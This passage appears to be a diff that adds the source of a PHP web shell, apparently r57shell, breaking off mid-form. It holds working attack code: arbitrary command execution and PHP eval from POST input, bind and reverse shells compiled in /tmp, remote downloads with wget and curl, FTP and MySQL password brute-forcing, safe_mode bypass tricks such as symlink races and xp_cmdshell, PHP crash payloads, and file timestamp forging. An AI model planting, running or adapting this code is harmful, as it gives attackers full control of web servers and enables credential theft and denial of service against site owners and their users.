mail($_POST['to'],$_POST['subj'],$_POST['text'].str_repeat(" ", 1024*$_POST['mail_size']),"From: ".$_POST['from']."\r\n"); + } + err(6+$res); + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") +{ +$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; +} +if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") + { + switch($_POST['what']) + { + case 'own': + @chown($_POST['param1'],$_POST['param2']); + break; + case 'grp': + @chgrp($_POST['param1'],$_POST['param2']); + break; + case 'mod': + @chmod($_POST['param1'],intval($_POST['param2'], 8)); + break; + } + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") + { + switch($_POST['what']) + { + case 'file': + if($_POST['action'] == "create") + { + if(@file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; } + else { + @fclose($file); + $_POST['e_name'] = $_POST['mk_name']; + $_POST['cmd']="edit_file"; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; + } + } + else if($_POST['action'] == "delete") + { + if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + case 'dir': + if($_POST['action'] == "create"){ + if(@mkdir($_POST['mk_name'])) + { + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; + } + else { err(2,$_POST['mk_name']); $_POST['cmd']=""; } + } + else if($_POST['action'] == "delete"){ + if(@rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + } + } + + +if(!empty($_POST['cmd']) && $_POST['cmd']=="touch") +{ +if(!$_POST['file_name_r']) + { + $datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds"; + $datar = @strtotime($datar); + @touch($_POST['file_name'],$datar,$datar);} +else{ + @touch($_POST['file_name'],@filemtime($_POST['file_name_r']),@filemtime($_POST['file_name_r'])); +} +$_POST['cmd']=""; +} + + +if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) + { + if(!$file=@fopen($_POST['e_name'],"r+")) { $filedump = @fread($file,@filesize($_POST['e_name'])); @fclose($file); $only_read = 1; } + if($file=@fopen($_POST['e_name'],"r")) { $filedump = @fread($file,@filesize($_POST['e_name'])); @fclose($file); } + else if ($file=readzlib($_POST['e_name'])) { $filedump = $file; $only_read = 1; } else { err(1,$_POST['e_name']); $_POST['cmd']=""; } + if(isset($_POST['cmd'])) + { + echo $table_up3; + echo $font; + echo "<form name=save_file method=post>"; + echo ws(3)."<b>".$_POST['e_name']."</b>"; + echo "<div align=center><textarea name=e_text cols=121 rows=24>"; + echo @htmlspecialchars($filedump); + echo "</textarea>"; + echo "<input type=hidden name=e_name value=".$_POST['e_name'].">"; + echo "<input type=hidden name=dir value=".$dir.">"; + echo "<input type=hidden name=cmd value=save_file>"; + echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); + echo "</div>"; + echo "</font>"; + echo "</form>"; + echo "</td></tr></table>"; + exit(); + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") + { + $mtime = @filemtime($_POST['e_name']); + if((!$file=@fopen($_POST['e_name'],"w")) && (!function_exists('file_put_contents'))) { err(0,$_POST['e_name']); } + else { + if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']); + @fwrite($file,$_POST['e_text']) or @fputs($file,$_POST['e_text']) or @file_put_contents($_POST['e_name'],$_POST['e_text']); + @touch($_POST['e_name'],$mtime,$mtime); + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; + } + } + + +if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl")) +{ + cf("/tmp/prxpl",$prx_pl); + $p2=which("perl"); + $blah = ex($p2." /tmp/prxpl ".$_POST['proxy_port']." &"); + $_POST['cmd']="ps -aux | grep prxpl"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + cf("/tmp/bd.c",$port_bind_bd_c); + $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); + @unlink("/tmp/bd.c"); + $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); + $_POST['cmd']="ps -aux | grep bd"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + cf("/tmp/bdpl",$port_bind_bd_pl); + $p2=which("perl"); + $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); + $_POST['cmd']="ps -aux | grep bdpl"; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + cf("/tmp/back.c",$back_connect_c); + $blah = ex("gcc -o /tmp/backc /tmp/back.c"); + @unlink("/tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/dp",$datapipe_pl); + $p2=which("perl"); + $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); + $_POST['cmd']="ps -aux | grep dp"; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) +{ + cf("/tmp/dpc.c",$datapipe_c); + $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); + @unlink("/tmp/dpc.c"); + $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); + $_POST['cmd']="ps -aux | grep dpc"; +} + +if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; } + +for($upl=0;$upl<=16;$upl++) +{ + if(!empty($HTTP_POST_FILES['userfile'.$upl]['name'])){ + if(!empty($_POST['new_name']) && ($upl==0)) { $nfn = $_POST['new_name']; } + else { $nfn = $HTTP_POST_FILES['userfile'.$upl]['name']; } + @move_uploaded_file($HTTP_POST_FILES['userfile'.$upl]['tmp_name'],$_POST['dir']."/".$nfn) + or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile'.$upl]['name']."</div></font>"); + } +} + +if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) +{ + switch($_POST['with']) + { + case 'fopen': + $datafile = @implode("", @file($_POST['rem_file'])); + if($datafile) + { + $w_file=@fopen($_POST['loc_file'],"wb") or @function_exists('file_put_contents') or err(0); + if($w_file) + { + @fwrite($w_file,$datafile) or @fputs($w_file,$datafile) or @file_put_contents($_POST['loc_file'],$datafile); + @fclose($w_file); + } + } + $_POST['cmd'] = ''; + break; + case 'wget': + $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; + break; + case 'fetch': + $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file'].""; + break; + case 'lynx': + $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case 'links': + $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case 'GET': + $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case 'curl': + $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + } +} +if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_file_up") || ($_POST['cmd']=="ftp_file_down"))) + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { err(3); } + else + { + if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); } + else + { + if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);} + if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);} + } + } + @ftp_close($connection); + $_POST['cmd'] = ""; + } + +if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_brute") || ($_POST['cmd']=="db_brute"))) + { + if($_POST['cmd']=="ftp_brute"){ + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + }else if($_POST['cmd']=="db_brute"){ + $connection = 1; + } + if(!$connection) { err(3); $_POST['cmd'] = ""; } + else if(($_POST['brute_method']=='passwd') && (!$users=get_users('/etc/passwd'))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } + else if(($_POST['brute_method']=='dic') && (!$users=get_users($_POST['dictionary']))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>Can\'t get password list</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } + if($_POST['cmd']=="ftp_brute"){@ftp_close($connection);} + } + +echo $table_up3; +if (empty($_POST['cmd']) && !$safe_mode && !$open_basedir) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); } +else if(empty($_POST['cmd']) && ($safe_mode || $open_basedir)){ $_POST['cmd']="safe_dir"; } +echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>"; +if($safe_mode || $open_basedir) +{ + switch($_POST['cmd']) + { + case 'safe_dir': + $d=@dir($dir); + if ($d) + { + while (false!==($file=$d->read())) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if(!$unix){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + if(@function_exists('posix_getpwuid')){ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + }else{$owner['name']=$grgid['name']='';} + echo $inode." "; + echo perms(@fileperms($file)); + @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + $d->close(); + } + else if(@function_exists('glob')) + { + function eh($errno, $errstr, $errfile, $errline) + { + global $D, $c, $i; + preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o); + if($o){ $D[$c] = $o[2]; $c++;} + } + $error_reporting = @ini_get('error_reporting'); + error_reporting(E_WARNING); + @ini_set("display_errors", 1); + $root = "/"; + if($dir) $root = $dir; + $c = 0; $D = array(); + @set_error_handler("eh"); + $chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + for($i=0; $i < strlen($chars); $i++) + { + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}"; + $prevD = $D[count($D)-1]; + @glob($path."*"); + if($D[count($D)-1] != $prevD) + { + for($j=0; $j < strlen($chars); $j++) + { + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}"; + $prevD2 = $D[count($D)-1]; + @glob($path."*"); + if($D[count($D)-1] != $prevD2) + { + for($p=0; $p < strlen($chars); $p++) + { + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}"; + $prevD3 = $D[count($D)-1]; + @glob($path."*"); + if($D[count($D)-1] != $prevD3) + { + for($r=0; $r < strlen($chars); $r++) + { + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}"; + @glob($path."*"); + } + } + } + } + } + } + } + $D = array_unique($D); + foreach($D as $item) echo htmlspecialchars("{$item}")."\r\n"; + error_reporting($error_reporting); + } + else echo $lang[$language.'_text29']; + break; + case 'test1': + $ci = @curl_init("file://".$_POST['test1_file']); + $cf = @curl_exec($ci); + echo htmlspecialchars($cf); + break; + case 'test2': + @include($_POST['test2_file']); + break; + case 'test3': + if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } + $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); + if($db) + { + if(@mysql_select_db($_POST['test3_md'],$db)) + { + @mysql_query("DROP TABLE IF EXISTS temp_r57_table"); + @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )"); + @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table"); + $r = @mysql_query("SELECT * FROM temp_r57_table"); + while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; } + @mysql_query("DROP TABLE IF EXISTS temp_r57_table"); + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to mysql server"; + break; + case 'test4': + if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } + $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); + if($db) + { + if(@mssql_select_db($_POST['test4_md'],$db)) + { + @mssql_query("drop table r57_temp_table",$db); + @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db); + @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); + $res = mssql_query("select * from r57_temp_table",$db); + while(($row=@mssql_fetch_row($res))) + { + echo htmlspecialchars($row[0])."\r\n"; + } + @mssql_query("drop table r57_temp_table",$db); + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'test5': + $temp=tempnam($dir, "fname"); + if (@file_exists($temp)) @unlink($temp); + $extra = "-C ".$_POST['test5_file']." -X $temp"; + @mb_send_mail(NULL, NULL, NULL, NULL, $extra); + $str = moreread($temp); + echo htmlspecialchars($str); + @unlink($temp); + break; + case 'test6': + $stream = @imap_open('/etc/passwd', "", ""); + $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*"); + for ($i = 0; $i < count($dir_list); $i++) echo htmlspecialchars($dir_list[$i])."\r\n"; + @imap_close($stream); + break; + case 'test7': + $stream = @imap_open($_POST['test7_file'], "", ""); + $str = @imap_body($stream, 1); + echo htmlspecialchars($str); + @imap_close($stream); + break; + case 'test8': + $temp=@tempnam($_POST['test8_file2'], "copytemp"); + $str = readzlib($_POST['test8_file1'],$temp); + echo htmlspecialchars($str); + @unlink($temp); + break; + case 'test9': + @ini_restore("safe_mode"); + @ini_restore("open_basedir"); + $str = moreread($_POST['test9_file']); + echo htmlspecialchars($str); + break; + case 'test10': + @ob_clean(); + $error_reporting = @ini_get('error_reporting'); + error_reporting(E_ALL ^ E_NOTICE); + @ini_set("display_errors", 1); + $str=fopen($_POST['test10_file'],"r"); + while(!feof($str)){print htmlspecialchars(fgets($str));} + fclose($str); + error_reporting($error_reporting); + break; + case 'test11': + @ob_clean(); + $temp = 'zip://'.$_POST['test11_file']; + $str = moreread($temp); + echo htmlspecialchars($str); + break; + case 'test12': + @ob_clean(); + $temp = 'compress.bzip2://'.$_POST['test12_file']; + $str = moreread($temp); + echo htmlspecialchars($str); + break; + case 'test13': + @error_log($_POST['test13_file1'], 3, "php://../../../../../../../../../../../".$_POST['test13_file2']); + echo $lang[$language.'_text61']; + break; + case 'test14': + @session_save_path($_POST['test14_file2']."\0;/tmp"); + @session_start(); + @$_SESSION[php]=$_POST['test14_file1']; + echo $lang[$language.'_text61']; + break; + case 'test15': + + @readfile($_POST['test15_file1'], 3, "php://../../../../../../../../../../../".$_POST['test15_file2']); + echo $lang[$language.'_text61']; + break; + case 'test16': + if (fopen('srpath://../../../../../../../../../../../'.$_POST['test16_file'],"a")) echo $lang[$language.'_text61']; + break; + case 'test17_1': + @unlink('symlinkread'); + @symlink('a/a/a/a/a/a/', 'dummy'); + @symlink('dummy/../../../../../../../../../../../'.$_POST['test17_file'], 'symlinkread'); + @unlink('dummy'); + while (1) + { + @symlink('.', 'dummy'); + @unlink('dummy'); + } + break; + case 'test17_2': + $str=''; + while (strlen($str) < 3) { + $temp = 'symlinkread'; + $str = moreread($temp); + if($str){ @ob_clean(); echo htmlspecialchars($str);} + } + break; + case 'test17_3': + $dir = $files = array(); + if(@version_compare(@phpversion(),"5.0.0")>=0){ + while (@count($dir) < 3) { + $dir=@scandir('symlinkread'); + if (@count($dir) > 2) {@ob_clean(); @print_r($dir); } + } + } + else { + while (@count($files) < 3) { + $dh = @opendir('symlinkread'); + while (false !== ($filename = @readdir($dh))) { + $files[] = $filename; + } + if(@count($files) > 2){@ob_clean(); @print_r($files); } + } + } + break; + } +} +if((!$safe_mode) && ($_POST['cmd']!="php_eval") && ($_POST['cmd']!="mysql_dump") && ($_POST['cmd']!="db_query") && ($_POST['cmd']!="ftp_brute") && ($_POST['cmd']!="db_brute")){ + $cmd_rep = ex($_POST['cmd']); + if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } + else { echo @htmlspecialchars($cmd_rep)."\n"; }} + +switch($_POST['cmd']) +{ + case 'dos1': + function a() { a(); } a(); + break; + case 'dos2': + @pack("d4294967297", 2); + break; + case 'dos3': + $a = "a";@unserialize(@str_replace('1', 2147483647, @serialize($a))); + break; + case 'dos4': + $t = array(1);while (1) {$a[] = &$t;}; + break; + case 'dos5': + @dl("sqlite.so");$db = new SqliteDatabase("foo"); + break; + case 'dos6': + preg_match('/(.(?!b))*/', @str_repeat("a", 10000)); + break; + case 'dos7': + @str_replace("A", str_repeat("B", 65535), str_repeat("A", 65538)); + break; + case 'dos8': + @shell_exec("killall -11 httpd"); + break; + case 'dos9': + function cx(){ @tempnam("/www/", "../../../../../../var/tmp/cx"); cx(); } cx(); + break; + case 'dos10': + $a = @str_repeat ("A",438013);$b = @str_repeat ("B",951140);@wordwrap ($a,0,$b,0); + break; + case 'dos11': + @array_fill(1,123456789,"Infigo-IS"); + break; + case 'dos12': + @substr_compare("A","A",12345678); + break; + case 'dos13': + @unserialize("a:2147483649:{"); + break; + case 'dos14': + $Data = @str_ireplace("\n", "<br>", $Data); + break; + case 'dos15': + function toUTF($x) {return chr(($x >> 6) + 192) . chr(($x & 63) + 128);} + $str1 = "";for($i=0; $i < 64; $i++){ $str1 .= toUTF(977);} + @htmlentities($str1, ENT_NOQUOTES, "UTF-8"); + break; + case 'dos16': + $r = @zip_open("x.zip");$e = @zip_read($r);$x = @zip_entry_open($r, $e); + for ($i=0; $i<1000; $i++) $arr[$i]=array(array("")); + unset($arr[600]);@zip_entry_read($e, -1);unset($arr[601]); + break; + case 'dos17': + $z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU"; + $y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"; + $x = "AQ "; + unset($z);unset($y);$x = base64_decode($x);$y = @sqlite_udf_decode_binary($x);unset($x); + break; + case 'dos18': + $MSGKEY = 519052;$msg_id = @msg_get_queue ($MSGKEY, 0600); + if (!@msg_send ($msg_id, 1, 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH', false, true, $msg_err)) + echo "Msg not sent because $msg_err\n"; + if (@msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0, $msg_error)) { + echo "$msg\n"; + } else { echo "Received $msg_error fetching message\n"; break; } + @msg_remove_queue ($msg_id); + break; + case 'dos19': + $url = "php://filter/read=OFF_BY_ONE./resource=/etc/passwd"; @fopen($url, "r"); + break; + case 'dos20': + $hashtable = str_repeat("A", 39); + $hashtable[5*4+0]=chr(0x58);$hashtable[5*4+1]=chr(0x40);$hashtable[5*4+2]=chr(0x06);$hashtable[5*4+3]=chr(0x08); + $hashtable[8*4+0]=chr(0x66);$hashtable[8*4+1]=chr(0x77);$hashtable[8*4+2]=chr(0x88);$hashtable[8*4+3]=chr(0x99); + $str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}'; + for ($i=0; $i<65535; $i++) { $str .= 'i:0;R:2;'; } + $str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;'; + @unserialize($str); + break; +} + +if ($_POST['cmd']=="php_eval"){ + $eval = @str_replace("<?","",$_POST['php_eval']); + $eval = @str_replace("?>","",$eval); + @eval($eval);} + +if ($_POST['cmd']=="ftp_brute") + { + $suc = 0; + if($_POST['brute_method']=='passwd'){ + foreach($users as $user) + { + $connection = @ftp_connect($ftp_server,$ftp_port,10); + if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; } + else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } + @ftp_close($connection); + } + }else if(($_POST['brute_method']=='dic') && isset($_POST['ftp_login'])){ + foreach($users as $user) + { + $connection = @ftp_connect($ftp_server,$ftp_port,10); + if(@ftp_login($connection,$_POST['ftp_login'],$user)) { echo "[+] ".$_POST['ftp_login'].":$user - success\r\n"; $suc++; } + @ftp_close($connection); + } + } + echo "\r\n-------------------------------------\r\n"; + $count = count($users); + if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; } + echo $lang[$language.'_text97'].$count."\r\n"; + echo $lang[$language.'_text98'].$suc."\r\n"; + } + +if ($_POST['cmd']=="db_brute") + { + $suc = 0; + if($_POST['brute_method']=='passwd'){ + foreach($users as $user) + { + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $user; + $sql->pass = $user; + if($sql->connect()) { echo "[+] $user:$user - success\r\n"; $suc++; } + } + if(isset($_POST['reverse'])) + { + foreach($users as $user) + { + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $user; + $sql->pass = strrev($user); + if($sql->connect()) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } + } + } + }else if(($_POST['brute_method']=='dic') && isset($_POST['mysql_l'])){ + foreach($users as $user) + { + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $user; + if($sql->connect()) { echo "[+] ".$_POST['mysql_l'].":$user - success\r\n"; $suc++; } + } + } + echo "\r\n-------------------------------------\r\n"; + $count = count($users); + if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; } + echo $lang[$language.'_text97'].$count."\r\n"; + echo $lang[$language.'_text98'].$suc."\r\n"; + } + +if ($_POST['cmd']=="mysql_dump") + { + if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; } + else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; } + else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; } + else { + if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; } + else if($fp || @function_exists('file_put_contents')){ foreach($sql->dump as $v){ @fwrite($fp,$v."\r\n") or @fputs($fp,$v."\r\n") or @file_put_contents($_POST['dif_name'],$v."\r\n");} } + else { echo "[-] ERROR! Can't write in dump file"; } + } + } + +echo "</textarea></div>"; +echo "</b>"; +echo "</td></tr></table>"; +echo "<table width=100% cellpadding=0 cellspacing=0>"; + +function div_title($title, $id) +{ + return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>'; +} +function div($id) + { + if(isset($_COOKIE[$id]) && ($_COOKIE[$id]==0)) return '<div id="'.$id.'" style="display: none;">'; + $divid=array('id5','id6','id8','id9','id10','id11','id16','id24','id25','id26','id27','id28','id29','id33','id34','id35','id37','id38'); + if(empty($_COOKIE[$id]) && @in_array($id,$divid)) return '<div id="'.$id.'" style="display: none;">'; + return '<div id="'.$id.'">'; + } + +if(!$safe_mode){ +echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts; +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +else{ +echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); +echo $te.'</div>'.$table_end1.$fe; + +if($safe_mode || $open_basedir){ +echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts; +echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if($unix && @function_exists('touch')){ +echo $fs.$table_up1.div_title($lang[$language.'_text128'],'id5').$table_up2.div('id5').$ts; +echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','file_name',40,(!empty($_POST['file_name'])?($_POST['file_name']):($dir."/r57shell.php"))) +.ws(4)."<b>".$lang[$language.'_text26'].ws(2).$lang[$language.'_text59'].$arrow."</b>" +.ws(2).in('text','file_name_r',40,(!empty($_POST['file_name_r'])?($_POST['file_name_r']):("")))); +echo sr(15,"<b> or set Day".$arrow."</b>", +' +<select name="day" size="1"> +<option value="01">1</option> +<option value="02">2</option> +<option value="03">3</option> +<option value="04">4</option> +<option value="05">5</option> +<option value="06">6</option> +<option value="07">7</option> +<option value="08">8</option> +<option value="09">9</option> +<option value="10">10</option> +<option value="11">11</option> +<option value="12">12</option> +<option value="13">13</option> +<option value="14">14</option> +<option value="15">15</option> +<option value="16">16</option> +<option value="17">17</option> +<option value="18">18</option> +<option value="19">19</option> +<option value="20">20</option> +<option value="21">21</option> +<option value="22">22</option> +<option value="23">23</option> +<option value="24">24</option> +<option value="25">25</option> +<option value="26">26</option> 